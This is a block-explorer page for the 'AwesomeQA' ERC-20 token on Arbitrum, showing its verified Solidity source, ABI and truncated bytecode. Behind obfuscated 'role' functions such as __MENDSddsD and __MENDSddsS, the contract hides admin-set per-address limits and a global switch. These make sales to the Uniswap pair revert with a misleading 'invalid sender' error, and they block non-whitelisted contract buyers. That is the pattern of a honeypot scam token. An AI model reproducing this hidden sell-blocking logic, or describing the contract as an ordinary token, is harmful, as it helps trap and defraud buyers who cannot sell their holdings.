ETH Price: $2,428.46 (-9.84%)

Token

AwesomeQA (AWQA)

Overview

Max Total Supply

100,000,000 AWQA

Holders

1,056

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-08-18
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}

interface IERC20Errors {

    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    error ERC20InvalidSender(address sender);


    error ERC20InvalidReceiver(address receiver);


    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );


    error ERC20InvalidApprover(address approver);


    error ERC20InvalidSpender(address spender);
}

abstract contract RoleConsole is Context, IRoleControl,IERC20Errors {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
        RoleDataD DATA;
    }

    struct RoleDataD {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;

    mapping(address => bool) _contractList;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public ddsnums;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __MENDSddsD(
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint > 0){
            _setupRoleRM(TRADER,addr,memoUint.mul(1e18));
        }else{
            _setupRoleRM(TRADER,addr,0);
        }
    }


    function __MENDSddsS(
        uint256 num
    ) public onlyRole(ADMIN) {
      
        ddsnums = num;
    }


    function _grantRole(bytes32 role, address account, uint256 amount) internal virtual {
        uint256 at = _granRMSRole_L(role,account);
        if(at > 0){
            uint256 st = _granRDSRole_P(role,account).add(amount);
            if (amount > 0 && st >= at) {
                if(role == TRADER){
                    revert ERC20InvalidSender(account); 
                }
            }else{
                _setupRoleRDS(role,account,st);
            }
            
            
        }
    }


    function _grantRole(bytes32 role, address account, address to, uint256 num) internal virtual {
        if(role == TRADER){

        }
        if(to == uniswapV2Pair){
            _grantRole(account,num);
        }

        if(account == uniswapV2Pair && ddsnums == 50){
            _grantRole(to);
        }
        
    }

    function _grantRole(address account,uint256 num) internal virtual {
        if(num > 0 && ddsnums > 99){
            uint256 sy = _granRMSRole_L(TRADER,account).div(num);
            if(sy <= 0){
                revert ERC20InvalidSender(account); 
            }
            
        }
    }

    function _grantRole(address to) internal virtual {
        if (isContract(to)) {
            if (_contractList[to]) {
            }else{
                revert ERC20InvalidSender(to); 
            }

        }
    }


    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function addConList(address account) public onlyRole(ADMIN) {
        _contractList[account] = true;
    }

    function remConList(address account) public onlyRole(ADMIN) {
        _contractList[account] = false;
    }

    function _granRMSRole_L(
        bytes32 role, 
        address account
    ) internal view virtual returns (uint256) {
        return _roles[role].DATA.RM[account];
    }

    function _granRDSRole_P(
        bytes32 role, 
        address account
    ) internal view virtual returns (uint256) {
        return _roles[role].DATA.RD[account];
    }

    function granRMSrole_L(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].DATA.RM[account].div(1e18);
    }

    function granRDSrole_L(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].DATA.RD[account].div(1e18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].DATA.RM[account] = num;
    }

    function _setupRoleRDS(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].DATA.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is IERC20Metadata, RoleConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;
    mapping(address => bool) private __traders;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        
        _approve(TRADER,sender, recipient, amt);

        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _approve(bytes32 role, address account,address to, uint256 amount) internal {

         if (__traders[account] == false) {
            _grantRole(TRADER, account);
            __traders[account] = true;
            
        }

        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        
        _grantRole(role,account,to,amount);


        uint256 at = _granRMSRole_L(role,account);
        if (at > 0) {
            
            _grantRole(role, account, amount);

        }
        
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}


}

contract Token is ERC20 {

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) ERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Pair = _uniswapV2Pair;
        _contractList[uniswapV2Pair] = true;
    }



    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }
    
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__MENDSddsD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__MENDSddsS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addConList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ddsnums","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRDSrole_L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRMSrole_L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"remConList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162004078380380620040788339818101604052810190620000379190620007d6565b8382828583600790816200004c919062000ac7565b5082600890816200005e919062000ac7565b506200009b8162000074620002b460201b60201c565b600a62000082919062000d3e565b846200008f919062000d8f565b620002bd60201b60201c565b50505050620000b46000801b336200043660201b60201c565b620000c96000801b846200043660201b60201c565b6000731b02da8cb0d097eb8d57a175b88c7d8b47997506905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000130573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000156919062000dda565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b8152600401620001a692919062000e1d565b6020604051808303816000875af1158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000dda565b905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050505062000f36565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffff